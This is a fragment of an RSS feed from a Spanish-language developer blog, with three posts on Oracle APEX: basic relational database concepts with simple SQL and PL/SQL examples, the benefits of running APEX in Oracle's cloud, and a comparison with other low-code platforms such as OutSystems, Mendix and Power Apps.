]]></content:encoded></item><item><title><![CDATA[Conceptos básicos de bases de datos para trabajar con Oracle APEX]]></title><description><![CDATA[Oracle Application Express (APEX) al ser una plataforma basada en bases de datos Oracle, entender los conceptos básicos de bases de datos es fundamental para aprovechar al máximo su potencial. En este artículo, exploraremos los términos y principios ...]]></description><link>https://www.paraguayandev.com/conceptos-basicos-de-bases-de-datos-para-trabajar-con-oracle-apex</link><guid isPermaLink="true">https://www.paraguayandev.com/conceptos-basicos-de-bases-de-datos-para-trabajar-con-oracle-apex</guid><category><![CDATA[PL/SQL]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Sun, 08 Dec 2024 12:20:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733660027601/fb67c440-e150-4d28-aab9-a9af81e4e938.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Oracle Application Express (APEX) al ser una plataforma basada en bases de datos Oracle, entender los conceptos básicos de bases de datos es fundamental para aprovechar al máximo su potencial. En este artículo, exploraremos los términos y principios clave que necesitas conocer.</p>
<h2 id="heading-que-es-una-base-de-datos"><strong>¿Qué es una base de datos?</strong></h2>
<p>Una base de datos es una colección organizada de datos que permite almacenar, gestionar y recuperar información de manera eficiente. Las bases de datos Oracle, en particular, son sistemas de gestión de bases de datos relacionales (RDBMS) que utilizan el lenguaje SQL (Structured Query Language) para interactuar con los datos.</p>
<h2 id="heading-elementos-clave-en-una-base-de-datos-relacional"><strong>Elementos clave en una base de datos relacional</strong></h2>
<h3 id="heading-1-tablas"><strong>1. Tablas</strong></h3>
<p>Las tablas son el componente principal de una base de datos relacional. Representan entidades y están organizadas en filas (registros) y columnas (campos).</p>
<ul>
<li><strong>Ejemplo:</strong> Una tabla llamada empleados puede tener columnas como id_empleado, nombre, departamento, y salario.</li>
</ul>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> empleados (
  id_empleado <span class="hljs-built_in">NUMBER</span> PRIMARY <span class="hljs-keyword">KEY</span>,
  nombre <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">100</span>),
  departamento <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">50</span>),
  salario <span class="hljs-built_in">NUMBER</span>
);
</code></pre>
<h3 id="heading-2-llaves-primarias-y-foraneas"><strong>2. Llaves primarias y foráneas</strong></h3>
<ul>
<li><p><strong>Llave primaria:</strong> Identifica únicamente cada registro en una tabla.</p>
</li>
<li><p><strong>Llave foránea:</strong> Relaciona una tabla con otra para mantener la integridad referencial.</p>
</li>
<li><p><strong>Ejemplo:</strong> Relacionar una tabla de empleados con una tabla de departamentos usando una llave foránea:</p>
</li>
</ul>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> departamentos (
  id_departamento <span class="hljs-built_in">NUMBER</span> PRIMARY <span class="hljs-keyword">KEY</span>,
  nombre_departamento <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">100</span>)
);

<span class="hljs-keyword">ALTER</span> <span class="hljs-keyword">TABLE</span> empleados
<span class="hljs-keyword">ADD</span> <span class="hljs-keyword">CONSTRAINT</span> fk_departamento
<span class="hljs-keyword">FOREIGN</span> <span class="hljs-keyword">KEY</span> (departamento)
<span class="hljs-keyword">REFERENCES</span> departamentos (id_departamento);
</code></pre>
<h3 id="heading-3-consultas-sql"><strong>3. Consultas SQL</strong></h3>
<p>El lenguaje SQL se utiliza para interactuar con la base de datos. Las operaciones básicas incluyen:</p>
<ul>
<li><p><strong>SELECT:</strong> Recuperar datos.</p>
<pre><code class="lang-sql">  <span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> empleados;
</code></pre>
</li>
<li><p><strong>INSERT:</strong> Agregar datos.</p>
<pre><code class="lang-sql">  <span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> empleados (id_empleado, nombre, departamento, salario)
  <span class="hljs-keyword">VALUES</span> (<span class="hljs-number">1</span>, <span class="hljs-string">'Juan Pérez'</span>, <span class="hljs-string">'IT'</span>, <span class="hljs-number">50000</span>);
</code></pre>
</li>
<li><p><strong>UPDATE:</strong> Actualizar datos.</p>
<pre><code class="lang-sql">  <span class="hljs-keyword">UPDATE</span> empleados <span class="hljs-keyword">SET</span> salario = <span class="hljs-number">55000</span> <span class="hljs-keyword">WHERE</span> id_empleado = <span class="hljs-number">1</span>;
</code></pre>
</li>
<li><p><strong>DELETE:</strong> Eliminar datos.</p>
<pre><code class="lang-sql">  <span class="hljs-keyword">DELETE</span> <span class="hljs-keyword">FROM</span> empleados <span class="hljs-keyword">WHERE</span> id_empleado = <span class="hljs-number">1</span>;
  <span class="hljs-comment">--nunca te olvides del where</span>
</code></pre>
</li>
</ul>
<h2 id="heading-normalizacion-de-bases-de-datos"><strong>Normalización de bases de datos</strong></h2>
<p>La normalización es un proceso que organiza los datos para reducir la redundancia y mejorar la integridad.</p>
<ul>
<li><p><strong>Primera Forma Normal (1NF):</strong> Asegura que todos los valores en las columnas sean atómicos (no divisibles).</p>
</li>
<li><p><strong>Segunda Forma Normal (2NF):</strong> Elimina la redundancia relacionada con claves compuestas.</p>
</li>
<li><p><strong>Tercera Forma Normal (3NF):</strong> Garantiza que todas las dependencias sean de clave.</p>
</li>
</ul>
<p>Un buen diseño de base de datos facilita el desarrollo en APEX al mejorar el rendimiento y la comprensión de los datos.</p>
<h2 id="heading-relacion-entre-oracle-apex-y-bases-de-datos"><strong>Relación entre Oracle APEX y bases de datos</strong></h2>
<h3 id="heading-1-vistas-y-consultas"><strong>1. Vistas y consultas</strong></h3>
<p>En APEX, puedes usar vistas para simplificar consultas complejas y presentarlas en aplicaciones web.</p>
<ul>
<li><strong>Ejemplo:</strong> Crear una vista para combinar información de empleados y departamentos:</li>
</ul>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">VIEW</span> vista_empleados_departamentos <span class="hljs-keyword">AS</span>
<span class="hljs-keyword">SELECT</span> e.nombre, e.salario, d.nombre_departamento
<span class="hljs-keyword">FROM</span> empleados e
<span class="hljs-keyword">JOIN</span> departamentos d <span class="hljs-keyword">ON</span> e.departamento = d.id_departamento;
</code></pre>
<h3 id="heading-2-procedimientos-y-funciones-almacenadas"><strong>2. Procedimientos y funciones almacenadas</strong></h3>
<p>Estos son bloques de código PL/SQL que permiten realizar operaciones repetitivas en la base de datos.</p>
<ul>
<li><strong>Ejemplo:</strong> Un procedimiento para aumentar el salario de los empleados:</li>
</ul>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">OR</span> <span class="hljs-keyword">REPLACE</span> <span class="hljs-keyword">PROCEDURE</span> aumentar_salario (p_porcentaje <span class="hljs-keyword">IN</span> <span class="hljs-built_in">NUMBER</span>) <span class="hljs-keyword">AS</span>
<span class="hljs-keyword">BEGIN</span>
  <span class="hljs-keyword">UPDATE</span> empleados <span class="hljs-keyword">SET</span> salario = salario + (salario * p_porcentaje / <span class="hljs-number">100</span>);
<span class="hljs-keyword">END</span>;
</code></pre>
<p>En APEX, puedes llamar estos procedimientos para realizar operaciones directamente desde la interfaz de usuario.</p>
<h2 id="heading-mejores-practicas-para-trabajar-con-bases-de-datos-en-apex"><strong>Mejores prácticas para trabajar con bases de datos en APEX</strong></h2>
<ol>
<li><p><strong>Planifica el diseño de tu base de datos:</strong> Asegúrate de entender los requisitos de la aplicación antes de crear tablas y relaciones.</p>
</li>
<li><p><strong>Optimiza las consultas SQL:</strong> Usa índices y evita consultas ineficientes para mejorar el rendimiento.</p>
</li>
<li><p><strong>Aprovecha las herramientas de APEX:</strong> Utiliza asistentes para crear formularios, informes y dashboards basados en tus datos.</p>
</li>
<li><p><strong>Implementa seguridad:</strong> Configura roles y privilegios para proteger los datos.</p>
</li>
<li><p><strong>Documenta tus procedimientos:</strong> Mantén un registro claro de las estructuras y procedimientos utilizados.</p>
</li>
</ol>
<h2 id="heading-recursos-adicionales"><strong>Recursos adicionales</strong></h2>
<ul>
<li><p><a target="_blank" href="https://apex.oracle.com/en/learn/documentation/">Documentación oficial de Oracle APEX</a></p>
</li>
<li><p><a target="_blank" href="https://www.oracle.com/database/technologies/appdev/sql.html">Introducción a SQL</a></p>
</li>
</ul>
<p>Aprender los conceptos básicos de bases de datos te dará una base sólida para desarrollar aplicaciones eficientes y escalables en Oracle APEX. Con un buen entendimiento del diseño, las consultas y la integridad de datos, estarás listo para crear aplicaciones profesionales que aprovechen al máximo la plataforma.</p>
]]></content:encoded></item><item><title><![CDATA[Principales Beneficios de Usar Oracle APEX en la Nube]]></title><description><![CDATA[Oracle APEX (Application Express) ha ganado popularidad como una plataforma de desarrollo de bajo código por su capacidad para crear aplicaciones web modernas, escalables y seguras. Pero, ¿qué sucede cuando llevamos Oracle APEX a la nube? La combinac...]]></description><link>https://www.paraguayandev.com/principales-beneficios-de-usar-oracle-apex-en-la-nube</link><guid isPermaLink="true">https://www.paraguayandev.com/principales-beneficios-de-usar-oracle-apex-en-la-nube</guid><category><![CDATA[Apex]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[orclapex]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Fri, 06 Dec 2024 23:07:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733526226452/acd29202-6e53-4755-95c0-ce2e559d6b39.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Oracle APEX (Application Express) ha ganado popularidad como una plataforma de desarrollo de bajo código por su capacidad para crear aplicaciones web modernas, escalables y seguras. Pero, ¿qué sucede cuando llevamos Oracle APEX a la nube? La combinación de Oracle APEX con Oracle Cloud Infrastructure (OCI) abre un mundo de posibilidades para desarrolladores y empresas. A continuación, exploramos los principales beneficios de usar Oracle APEX en la nube.</p>
<h2 id="heading-1-configuracion-sencilla-y-sin-complicaciones"><strong>1. Configuración Sencilla y Sin Complicaciones</strong></h2>
<p>Al utilizar Oracle APEX en la nube, los usuarios pueden comenzar a desarrollar aplicaciones de inmediato. Con servicios como <strong>Oracle Autonomous Database</strong>, APEX ya está preconfigurado, eliminando la necesidad de instalar y mantener componentes adicionales. Esto permite:</p>
<ul>
<li><p>Ahorro de tiempo en la configuración inicial.</p>
</li>
<li><p>Mayor enfoque en el desarrollo de aplicaciones en lugar de la gestión de infraestructura.</p>
</li>
</ul>
<h2 id="heading-2-escalabilidad-dinamica"><strong>2. Escalabilidad Dinámica</strong></h2>
<p>La nube permite que las aplicaciones crezcan según las necesidades de tu organización. Con Oracle APEX en OCI, puedes:</p>
<ul>
<li><p>Escalar automáticamente la capacidad de la base de datos y el procesamiento según la demanda.</p>
</li>
<li><p>Ajustar los recursos sin interrumpir la operación de las aplicaciones.</p>
</li>
<li><p>Pagar solo por los recursos que utilizas, lo que optimiza costos.</p>
</li>
</ul>
<h2 id="heading-3-seguridad-avanzada"><strong>3. Seguridad Avanzada</strong></h2>
<p>Oracle Cloud Infrastructure ofrece una seguridad de clase mundial para proteger tus aplicaciones y datos. Entre las características clave se incluyen:</p>
<ul>
<li><p><strong>Cifrado de Datos:</strong> Tanto en reposo como en tránsito.</p>
</li>
<li><p><strong>Gestín de Usuarios:</strong> Control de acceso basado en roles (RBAC) para garantizar que solo los usuarios autorizados puedan acceder a las aplicaciones.</p>
</li>
<li><p><strong>Actualizaciones Automatizadas:</strong> Aseguran que siempre estés protegido contra vulnerabilidades conocidas.</p>
</li>
</ul>
<h2 id="heading-4-acceso-global-y-disponibilidad"><strong>4. Acceso Global y Disponibilidad</strong></h2>
<p>Con Oracle APEX en la nube, tus aplicaciones están disponibles desde cualquier lugar del mundo, siempre que tengas acceso a Internet. Además:</p>
<ul>
<li><p>Los entornos en la nube ofrecen <strong>altos niveles de disponibilidad</strong>.</p>
</li>
<li><p>Puedes implementar aplicaciones en múltiples regiones para mejorar la experiencia de los usuarios globales.</p>
</li>
<li><p>Garantía de redundancia para evitar tiempos de inactividad.</p>
</li>
</ul>
<h2 id="heading-5-integracion-con-tecnologias-modernas"><strong>5. Integración con Tecnologías Modernas</strong></h2>
<p>APEX en la nube facilita la integración con otros servicios y herramientas modernas, como:</p>
<ul>
<li><p><strong>APIs REST:</strong> Puedes consumir y exponer APIs para interactuar con sistemas externos.</p>
</li>
<li><p><strong>Oracle Analytics Cloud:</strong> Para enriquecer tus aplicaciones con análisis avanzados.</p>
</li>
<li><p><strong>Machine Learning:</strong> Incorpora modelos de aprendizaje automático utilizando bases de datos autónomas.</p>
</li>
</ul>
<h2 id="heading-6-reduccion-de-costos-operativos"><strong>6. Reducción de Costos Operativos</strong></h2>
<p>Al optar por Oracle APEX en OCI, las empresas pueden reducir significativamente los costos asociados con:</p>
<ul>
<li><p>Hardware: Sin necesidad de servidores locales.</p>
</li>
<li><p>Mantenimiento: Las actualizaciones y parches son gestionados por Oracle.</p>
</li>
<li><p>Licencias: APEX está incluido sin costo adicional en los servicios de Oracle Autonomous Database.</p>
</li>
</ul>
<h2 id="heading-7-innovacion-constante"><strong>7. Innovación Constante</strong></h2>
<p>Con Oracle APEX en la nube, siempre estarás utilizando la última versión de la plataforma, ya que las actualizaciones son automáticas. Esto significa:</p>
<ul>
<li><p>Acceso a las últimas funcionalidades sin interrupciones.</p>
</li>
<li><p>Menor esfuerzo para mantener las aplicaciones actualizadas.</p>
</li>
</ul>
<h2 id="heading-8-facil-colaboracion"><strong>8. Fácil Colaboración</strong></h2>
<p>La nube permite que equipos distribuidos trabajen juntos en tiempo real en el desarrollo y mantenimiento de aplicaciones. Los desarrolladores pueden:</p>
<ul>
<li><p>Compartir espacios de trabajo de APEX.</p>
</li>
<li><p>Colaborar en proyectos sin necesidad de instalar software local.</p>
</li>
</ul>
<h2 id="heading-conclusion"><strong>Conclusión</strong></h2>
<p>Oracle APEX en la nube combina la simplicidad y potencia del desarrollo de bajo código con las ventajas de la tecnología en la nube. Desde una configuración sencilla hasta una seguridad avanzada y escalabilidad dinámica, esta solución es ideal para empresas que buscan innovar y optimizar sus operaciones. ¡Empieza hoy mismo y descubre cómo la nube puede transformar tus aplicaciones APEX!</p>
<p>¿Ya has utilizado Oracle APEX en la nube? Comparte tu experiencia en los comentarios. ¡Nos encantaría saber tu opinión!</p>
]]></content:encoded></item><item><title><![CDATA[Oracle APEX frente a Otras Herramientas de Desarrollo Rápido de Aplicaciones: Comparativa 2025]]></title><description><![CDATA[En el mundo del desarrollo de software, el concepto de Desarrollo Rápido de Aplicaciones (RAD) ha ganado popularidad como una manera de reducir el tiempo y los costos necesarios para crear aplicaciones. Existen varias herramientas que facilitan este ...]]></description><link>https://www.paraguayandev.com/oracle-apex-frente-a-otras-herramientas-de-desarrollo-rapido-de-aplicaciones-comparativa-2025</link><guid isPermaLink="true">https://www.paraguayandev.com/oracle-apex-frente-a-otras-herramientas-de-desarrollo-rapido-de-aplicaciones-comparativa-2025</guid><category><![CDATA[Apex]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Fri, 06 Dec 2024 18:54:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733511234113/0fec1fd1-de10-4ae2-9e74-5111cd93c017.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En el mundo del desarrollo de software, el concepto de <strong>Desarrollo Rápido de Aplicaciones (RAD)</strong> ha ganado popularidad como una manera de reducir el tiempo y los costos necesarios para crear aplicaciones. Existen varias herramientas que facilitan este enfoque, pero <strong>Oracle APEX</strong> ha destacado por su facilidad de uso, flexibilidad y capacidad para integrarse perfectamente con la base de datos Oracle. Sin embargo, existen otras plataformas de RAD como <strong>OutSystems</strong>, <strong>Mendix</strong> y <strong>Microsoft Power Apps</strong> que también han ganado tracción en el mercado. ¿Cómo se compara Oracle APEX con estas herramientas? Vamos a explorar las fortalezas y debilidades de cada una para ayudarte a decidir cuál se adapta mejor a tus necesidades.</p>
<h3 id="heading-1-oracle-apex-vs-outsystems">1. <strong>Oracle APEX vs. OutSystems</strong></h3>
<p><strong>OutSystems</strong> es una de las plataformas más conocidas en el mundo de RAD. Al igual que Oracle APEX, OutSystems ofrece un enfoque de desarrollo low-code, pero con algunas diferencias clave.</p>
<ul>
<li><p><strong>Facilidad de uso:</strong> Oracle APEX está orientado a quienes ya están familiarizados con las bases de datos, especialmente Oracle, mientras que OutSystems busca atraer a un público más amplio, desde desarrolladores con experiencia hasta aquellos sin conocimientos previos en programación. APEX tiene una curva de aprendizaje más amigable para usuarios que trabajen con bases de datos Oracle, mientras que OutSystems se enfoca en la creación de aplicaciones móviles y web con interfaces visuales muy atractivas.</p>
</li>
<li><p><strong>Integración con bases de datos:</strong> APEX es una herramienta altamente optimizada para integrarse con bases de datos Oracle, lo que lo hace ideal para organizaciones que ya utilizan este sistema de gestión de bases de datos. OutSystems, por otro lado, es más agnóstico en cuanto a la base de datos y se adapta bien a diferentes soluciones como MySQL, SQL Server y PostgreSQL, lo que le da más flexibilidad en entornos multibase de datos.</p>
</li>
<li><p><strong>Escalabilidad:</strong> Ambas plataformas ofrecen escalabilidad, pero OutSystems es mejor conocida por sus capacidades en aplicaciones empresariales a gran escala y su fuerte enfoque en aplicaciones móviles. APEX, por su parte, tiene una fuerte base en aplicaciones web orientadas a datos, especialmente aquellas que requieren un alto rendimiento con grandes volúmenes de datos.</p>
</li>
<li><p><strong>Costo:</strong> Oracle APEX tiene una ventaja significativa aquí. Al ser una herramienta gratuita que corre sobre bases de datos Oracle, su costo es mucho menor en comparación con OutSystems, que tiene un modelo de suscripción basado en el uso y las características de la plataforma. Para organizaciones con licencias Oracle, APEX es una opción de bajo costo, mientras que OutSystems puede ser una opción costosa, especialmente para empresas más pequeñas.</p>
</li>
</ul>
<h3 id="heading-2-oracle-apex-vs-mendix">2. <strong>Oracle APEX vs. Mendix</strong></h3>
<p><strong>Mendix</strong> es otra potente plataforma low-code que compite directamente con Oracle APEX. Se destaca por su enfoque en la creación de aplicaciones empresariales rápidas y su interfaz de desarrollo visual.</p>
<ul>
<li><p><strong>Facilidad de uso:</strong> Mendix tiene una interfaz de usuario visual más pulida y una experiencia de usuario más amigable para aquellos sin experiencia en desarrollo. Aunque APEX también es accesible, especialmente para aquellos familiarizados con SQL y PL/SQL, la interfaz de Mendix puede parecer más moderna y fácil de usar para un público más amplio.</p>
</li>
<li><p><strong>Flexibilidad:</strong> Mendix es conocida por su flexibilidad y la posibilidad de personalizar las aplicaciones utilizando código cuando sea necesario. APEX, aunque ofrece flexibilidad con PL/SQL y JavaScript, puede ser más restrictiva en cuanto a la personalización visual, lo que puede ser un inconveniente si necesitas un control total sobre la interfaz.</p>
</li>
<li><p><strong>Ecosistema:</strong> Mendix tiene una plataforma más madura para la colaboración en equipos de desarrollo grandes, con herramientas integradas para gestión de proyectos, implementación en la nube y pruebas. APEX, en comparación, está más enfocado en el desarrollo de aplicaciones web y tiene un ecosistema robusto en el contexto de bases de datos Oracle, pero carece de algunas de las capacidades empresariales de Mendix.</p>
</li>
<li><p><strong>Costo:</strong> Al igual que OutSystems, Mendix funciona bajo un modelo de suscripción basado en el uso, lo que puede hacerlo más costoso en comparación con APEX, que sigue siendo una herramienta gratuita cuando se utiliza sobre una base de datos Oracle.</p>
</li>
</ul>
<h3 id="heading-3-oracle-apex-vs-microsoft-power-apps">3. <strong>Oracle APEX vs. Microsoft Power Apps</strong></h3>
<p><strong>Microsoft Power Apps</strong> es una opción popular para empresas que ya utilizan el ecosistema de Microsoft y su suite de herramientas de productividad, como Office 365 y Dynamics 365.</p>
<ul>
<li><p><strong>Facilidad de uso:</strong> Power Apps está diseñado para usuarios no técnicos, lo que lo hace accesible para aquellos sin experiencia en desarrollo. La interfaz de Power Apps es intuitiva, y su integración con otras herramientas de Microsoft es muy sencilla. APEX, en cambio, requiere al menos una comprensión básica de SQL y PL/SQL, lo que lo hace más adecuado para usuarios que ya están familiarizados con bases de datos y programación.</p>
</li>
<li><p><strong>Integración con herramientas existentes:</strong> Power Apps tiene una ventaja significativa en cuanto a la integración con el ecosistema de Microsoft. Si tu organización ya utiliza servicios como SharePoint, Dynamics 365 o Azure, Power Apps es una elección natural. APEX, por otro lado, brilla en entornos que utilizan Oracle Database y ofrece potentes características de integración con esta plataforma.</p>
</li>
<li><p><strong>Escalabilidad y personalización:</strong> APEX es altamente escalable, especialmente cuando se utiliza en conjunción con Oracle Cloud, y ofrece una flexibilidad considerable en la personalización de las aplicaciones. Power Apps, mientras tanto, está más enfocado en aplicaciones empresariales de menor escala y en crear soluciones rápidas, pero puede ser más limitado en cuanto a personalización avanzada cuando se comparan aplicaciones más complejas o específicas.</p>
</li>
<li><p><strong>Costo:</strong> Power Apps se basa en un modelo de suscripción, lo que puede hacer que su costo se acumule rápidamente, especialmente si tienes muchos usuarios. APEX, como mencionamos antes, es gratuito para los usuarios de bases de datos Oracle, lo que lo convierte en una opción más atractiva para organizaciones con licencias Oracle ya existentes.</p>
</li>
</ul>
<h3 id="heading-4-oracle-apex-frente-a-otras-herramientas-low-code-como-bubble-appian-etc">4. <strong>Oracle APEX frente a Otras Herramientas Low-Code (como Bubble, Appian, etc.)</strong></h3>
<p>Las plataformas <strong>Bubble</strong>, <strong>Appian</strong>, y otras herramientas low-code como <strong>Betty Blocks</strong> tienen una fuerte presencia en el mercado, pero se centran en casos de uso específicos, como aplicaciones web sin servidor, BPM (gestión de procesos de negocio) y flujos de trabajo empresariales. APEX, por otro lado, es ideal para la creación de aplicaciones web de datos complejos que necesitan trabajar en sinergia con bases de datos relacionales, especialmente Oracle.</p>
<ul>
<li><p><strong>Flexibilidad</strong>: APEX sobresale cuando se trata de aplicaciones de datos complejos, mientras que plataformas como Bubble son mejores para desarrollos rápidos de aplicaciones más simples, especialmente para usuarios no técnicos.</p>
</li>
<li><p><strong>Costo</strong>: Al igual que las otras herramientas mencionadas, muchas de estas plataformas operan bajo modelos de suscripción, lo que puede ser costoso en el largo plazo.</p>
</li>
</ul>
<p><strong>Conclusión</strong></p>
<p>La elección entre <strong>Oracle APEX</strong> y otras plataformas de desarrollo rápido de aplicaciones depende de tus necesidades específicas y el entorno tecnológico en el que te encuentres. Si tu empresa ya utiliza Oracle Database y necesitas crear aplicaciones web basadas en datos de manera rápida, <strong>Oracle APEX</strong> es una opción inmejorable, especialmente debido a su bajo costo y su capacidad de integración con la infraestructura existente.</p>
<p>Sin embargo, si estás buscando una solución que se adapte a una mayor variedad de bases de datos, sea más flexible visualmente o integre múltiples ecosistemas (como Microsoft o plataformas móviles), herramientas como <strong>OutSystems</strong>, <strong>Mendix</strong> o <strong>Microsoft Power Apps</strong> podrían ser más adecuadas, aunque generalmente con un costo más alto.</p>
<p>En última instancia, la mejor elección dependerá de tus prioridades: costos, escalabilidad, flexibilidad, y las herramientas con las que tu equipo ya esté trabajando.</p>
]]></content:encoded></item></channel></rss>